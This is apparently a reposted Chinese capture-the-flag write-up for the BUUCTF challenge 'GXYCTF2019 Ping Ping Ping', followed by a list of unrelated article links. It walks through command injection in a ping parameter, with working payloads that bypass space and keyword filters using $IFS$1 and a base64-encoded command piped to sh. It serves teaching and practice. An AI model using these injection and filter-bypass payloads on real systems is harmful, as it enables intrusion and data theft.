当前位置: 首页 > news >正文

BUU-[GXYCTF2019]Ping Ping Ping

考察点

命令执行

题目

在这里插入图片描述

image.png

解题

简单测试

?ip应该是一个提示,那么就测试一下?ip=127.0.0.1

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1

发现正常回显
image.png

列出文件

那么猜测一下可能会有命令执行漏洞,测试?ip=127.0.0.1;ls

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;ls

image.png
发现有flag.php文件和index.php文件

查看flag.php文件

?ip=127.0.0.1;cat flag.php

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat%20flag.php

发现回显不是flag值,估计是被过滤了
在这里插入图片描述

猜测可能是空格被过滤了,尝试用 I F S {IFS} IFS 进行代替

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat${IFS}$flag.php

image.png

发现也得不到flag值,猜测可能还过滤了{},那么使用 ${IFS}$1 进行代替

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat${IFS}$1flag.php

依旧没有得到flag值
image.png

查看index.php

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$1index.php

在这里插入图片描述

这下过滤了啥就一目了然了
flag字眼过滤了,bash也没了,不过sh没过滤
在这里插入图片描述

先对cat flag.php进行base64编码得到:Y2F0IGZsYWcucGhw

http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|shecho        是打印
$IFS$1      是空格
Y2F0IGZsYWcucGhw        是cat flag.php的base编码
|           是管道符
base64$IFS$1-d      是base64 -d的意思,就是对Y2F0IGZsYWcucGhw进行base64解密
sh          是执行传递过来的cat flag.php命令

查看返回页面的源码可以得到flag
image.png

flag{19795c98-007a-46f5-a449-5f6ae6410dd5}

image.png

总结

命令执行各种绕过总结:

https://blog.csdn.net/m0_64815693/article/details/127268809https://blog.csdn.net/Thunderclap_/article/details/129178221

image.png
image.png

echo${IFS}Y2F0IDEudHh0|base64${IFS}-d|sh

image.png

http://www.lryc.cn/news/347355.html

相关文章:

  • 代码随想录Day 41|Leetcode|Python|198.打家劫舍 ● 213.打家劫舍II ● 337.打家劫舍III
  • 【吴恩达机器学习-week2】多个变量的特征缩放和学习率问题
  • C#字符串的拼接
  • 哈希表Hash table
  • jdk8新特性----Lambda表达式
  • 在STM32中用寄存器方式点亮流水灯
  • TCP(TCP客户端、服务器如何通信)
  • pdf 文件版面分析--PyMuPDF (python 文档解析提取)
  • sql update 多表关联 inner join
  • 【OceanBase诊断调优】—— 租户资源统计项及其查询方法
  • 【一键录音,轻松转换:用Python打造个性化音频记录工具】
  • Java类与对象(一)
  • python中的装饰器,例子说明
  • Leetcode经典题目之用队列实现栈
  • DBSCAN聚类算法
  • 【tauri】安装
  • (Java)心得:LeetCode——19.删除链表的倒数第 N 个节点
  • 树莓派安装opencv
  • bert 的MLM框架任务-梯度累积
  • Nginx配置/.well-known/pki-validation/
  • iOS LQG开发框架(持续更新)
  • Python 自动化脚本系列:第3集
  • Matlab-粒子群优化算法实现
  • python 新特性
  • 十一、Redis持久化-RDB、AOF
  • Oracle闪回数据库【Oracle闪回技术】(二)
  • 简单负载均衡
  • Portforge:一款功能强大的轻量级端口混淆工具
  • 1.8. 离散时间鞅-无界停时定理与随机游走
  • Google Pixel4手机刷机+Root+逆向环境详细教程